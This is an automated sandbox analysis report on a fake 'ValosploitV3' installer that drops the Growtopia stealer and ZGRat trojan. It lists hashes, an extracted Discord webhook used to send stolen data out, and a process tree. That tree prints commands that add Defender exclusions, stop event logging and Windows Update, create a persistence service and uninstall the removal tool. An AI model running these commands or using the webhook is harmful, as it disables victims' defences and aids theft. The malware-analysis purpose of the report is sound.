growtopia | f7ba1f62f5168638cbe3ccf0df5af38f68b55962ea3a639f6d0e2a464ab180a0

Resubmissions

04-02-2024 01:00

240204-bcq69adgb7 10

Analysis

max time kernel
118s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
04-02-2024 01:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ValosploitV3_Installer/Installer.exe
Size

12.6MB
MD5

e560d8abab1b94fa698c5164b10c4fa5
SHA1

7b7e2334f06610ebcb9ac796c471961df6a6c377
SHA256

817cac7fcfdc0f48444c45be772997707761e2ca1e43e8d53f8f7e0e7a1e42b0
SHA512

cc546819fbf9cb40c8bd7c9f686b2d7e189b624fc94a8075e0a43ebcf83d28ed4fc51227c3450e94de91e2c72ce6ce68d7f5e6f8e9e390406da4bcc32470af16
SSDEEP

196608:MgINJY5ucj/+mDZR65PzwNVnQwOsayF0RjPLIp+I3U84IXrTNtNp0GIUOueu/ty:MR+59nYRzw0wlF0RjPLIECU84EJ49h

Score

10^/10

growtopia zgrat evasion persistence pyinstaller rat stealer

Malware Config

Extracted

Family

growtopia

https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj

Signatures

Detect ZGRat V1 34 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4276-53-0x0000000002D70000-0x0000000002DDC000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-59-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-63-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-66-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-76-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-57-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-110-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-126-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-128-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-113-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-147-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-153-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-155-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-160-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-163-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-157-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-165-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-151-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-167-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-169-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-171-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-176-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-178-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-180-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-187-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-189-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-173-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-149-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-145-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-143-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-139-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-102-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-91-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1
behavioral2/memory/4276-85-0x0000000002D70000-0x0000000002DD5000-memory.dmp	family_zgrat_v1

Growtopia
Growtopa is an opensource modular stealer written in C#.
stealer growtopia
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Installer.exeWinErrorMgr.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	Installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	WinErrorMgr.exe

Executes dropped EXE 8 IoCs

Processes:

Ilkdt.exeWinHostMgr.exeWinErrorMgr.exeKeyGeneratorI.exeSahyui1337.exeWinErrorMgr.exeKeyGeneratorI.exebauwrdgwodhv.exe

pid	process
4276	Ilkdt.exe
792	WinHostMgr.exe
4028	WinErrorMgr.exe
4888	KeyGeneratorI.exe
3044	Sahyui1337.exe
848	WinErrorMgr.exe
5036	KeyGeneratorI.exe
4568	bauwrdgwodhv.exe

Loads dropped DLL 4 IoCs

Processes:

KeyGeneratorI.exe

pid process

5036 KeyGeneratorI.exe
5036 KeyGeneratorI.exe
5036 KeyGeneratorI.exe
5036 KeyGeneratorI.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

111 pastebin.com
112 pastebin.com
38 discord.com
39 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

358 api.ipify.org

pid	process
5036	KeyGeneratorI.exe
5036	KeyGeneratorI.exe
5036	KeyGeneratorI.exe
5036	KeyGeneratorI.exe

flow	ioc
111	pastebin.com
112	pastebin.com
38	discord.com
39	discord.com

flow	ioc
358	api.ipify.org

Drops file in System32 directory 4 IoCs

Processes:

WinHostMgr.exepowercfg.exebauwrdgwodhv.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	WinHostMgr.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powercfg.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powercfg.exe
File opened for modification	C:\Windows\system32\MRT.exe	bauwrdgwodhv.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

bauwrdgwodhv.exe

description	pid	process	target process
PID 4568 set thread context of 5052	4568	bauwrdgwodhv.exe	conhost.exe
PID 4568 set thread context of 4772	4568	bauwrdgwodhv.exe	explorer.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
2464	sc.exe
1788	sc.exe
4060	sc.exe
1484	sc.exe
4704	sc.exe
4140	sc.exe
4684	sc.exe
4688	sc.exe
2288	sc.exe
1688	sc.exe
912	sc.exe
4708	sc.exe
4176	sc.exe
1836	sc.exe

Detects Pyinstaller 4 IoCs

pyinstaller

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller
C:\Users\Admin\AppData\Roaming\KeyGeneratorI.exe	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

1824 schtasks.exe

pid	process
1824	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 50 IoCs

Processes:

powercfg.exeexplorer.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powercfg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powercfg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powercfg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powercfg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	explorer.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powercfg.exe

Modifies registry class 1 IoCs

Processes:

msedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1232405761-1209240240-3206092754-1000\{DC40A535-65A7-4B3C-B853-390EF2CC527F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Sahyui1337.exepowershell.exemsedge.exemsedge.exeidentity_helper.exeWinHostMgr.exebauwrdgwodhv.exepowercfg.exeexplorer.exe

pid	process
3044	Sahyui1337.exe
3044	Sahyui1337.exe
3044	Sahyui1337.exe
392	powershell.exe
392	powershell.exe
392	powershell.exe
1264	msedge.exe
1264	msedge.exe
5088	msedge.exe
5088	msedge.exe
3592	identity_helper.exe
3592	identity_helper.exe
792	WinHostMgr.exe
4720
4720
4720
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
792	WinHostMgr.exe
4568	bauwrdgwodhv.exe
2368	powercfg.exe
2368	powercfg.exe
2368	powercfg.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4568	bauwrdgwodhv.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe
4772	explorer.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 16 IoCs

Processes:

msedge.exe

pid	process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

Processes:

Ilkdt.exeSahyui1337.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exe

description	pid	process
Token: SeDebugPrivilege	4276	Ilkdt.exe
Token: SeDebugPrivilege	3044	Sahyui1337.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	4720
Token: SeShutdownPrivilege	3100
Token: SeCreatePagefilePrivilege	3100
Token: SeShutdownPrivilege	3668	powercfg.exe
Token: SeCreatePagefilePrivilege	3668	powercfg.exe
Token: SeShutdownPrivilege	4704	powercfg.exe
Token: SeCreatePagefilePrivilege	4704	powercfg.exe
Token: SeShutdownPrivilege	3252	powercfg.exe
Token: SeCreatePagefilePrivilege	3252	powercfg.exe
Token: SeDebugPrivilege	2368	powercfg.exe
Token: SeShutdownPrivilege	3900	powercfg.exe
Token: SeCreatePagefilePrivilege	3900	powercfg.exe
Token: SeShutdownPrivilege	3644	powercfg.exe
Token: SeCreatePagefilePrivilege	3644	powercfg.exe
Token: SeShutdownPrivilege	4764	powercfg.exe
Token: SeCreatePagefilePrivilege	4764	powercfg.exe
Token: SeShutdownPrivilege	2368	powercfg.exe
Token: SeCreatePagefilePrivilege	2368	powercfg.exe
Token: SeLockMemoryPrivilege	4772	explorer.exe

Suspicious use of FindShellTrayWindow 27 IoCs

Processes:

msedge.exe

pid	process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

Processes:

msedge.exe

pid	process
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe
5088	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Installer.exeWinErrorMgr.exeKeyGeneratorI.exeKeyGeneratorI.exemsedge.exe

description	pid	process	target process
PID 4892 wrote to memory of 392	4892	Installer.exe	powershell.exe
PID 4892 wrote to memory of 392	4892	Installer.exe	powershell.exe
PID 4892 wrote to memory of 392	4892	Installer.exe	powershell.exe
PID 4892 wrote to memory of 4276	4892	Installer.exe	Ilkdt.exe
PID 4892 wrote to memory of 4276	4892	Installer.exe	Ilkdt.exe
PID 4892 wrote to memory of 4276	4892	Installer.exe	Ilkdt.exe
PID 4892 wrote to memory of 792	4892	Installer.exe	WinHostMgr.exe
PID 4892 wrote to memory of 792	4892	Installer.exe	WinHostMgr.exe
PID 4892 wrote to memory of 4028	4892	Installer.exe	WinErrorMgr.exe
PID 4892 wrote to memory of 4028	4892	Installer.exe	WinErrorMgr.exe
PID 4892 wrote to memory of 4028	4892	Installer.exe	WinErrorMgr.exe
PID 4892 wrote to memory of 4888	4892	Installer.exe	KeyGeneratorI.exe
PID 4892 wrote to memory of 4888	4892	Installer.exe	KeyGeneratorI.exe
PID 4892 wrote to memory of 3044	4892	Installer.exe	Sahyui1337.exe
PID 4892 wrote to memory of 3044	4892	Installer.exe	Sahyui1337.exe
PID 4028 wrote to memory of 848	4028	WinErrorMgr.exe	WinErrorMgr.exe
PID 4028 wrote to memory of 848	4028	WinErrorMgr.exe	WinErrorMgr.exe
PID 4028 wrote to memory of 848	4028	WinErrorMgr.exe	WinErrorMgr.exe
PID 4888 wrote to memory of 5036	4888	KeyGeneratorI.exe	KeyGeneratorI.exe
PID 4888 wrote to memory of 5036	4888	KeyGeneratorI.exe	KeyGeneratorI.exe
PID 5036 wrote to memory of 5088	5036	KeyGeneratorI.exe	msedge.exe
PID 5036 wrote to memory of 5088	5036	KeyGeneratorI.exe	msedge.exe
PID 5088 wrote to memory of 3720	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3720	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe
PID 5088 wrote to memory of 3600	5088	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe
"C:\Users\Admin\AppData\Local\Temp\ValosploitV3_Installer\Installer.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG0AbQBiACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHYAcABpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAbgBpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAcQB2ACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:392
- C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe
  "C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4276
- C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:792
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    PID:4720
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:2464
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:1788
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:4060
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "GMDTJRUT"
    3⤵
    - Launches sc.exe
    PID:1484
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4704
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3668
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3252
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    PID:3100
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:4684
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:4176
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1836
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2288
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2328
- C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe
  "C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe
    "C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"
    3⤵
    - Executes dropped EXE
    PID:848
  - - C:\Windows\SysWOW64\schtasks.exe
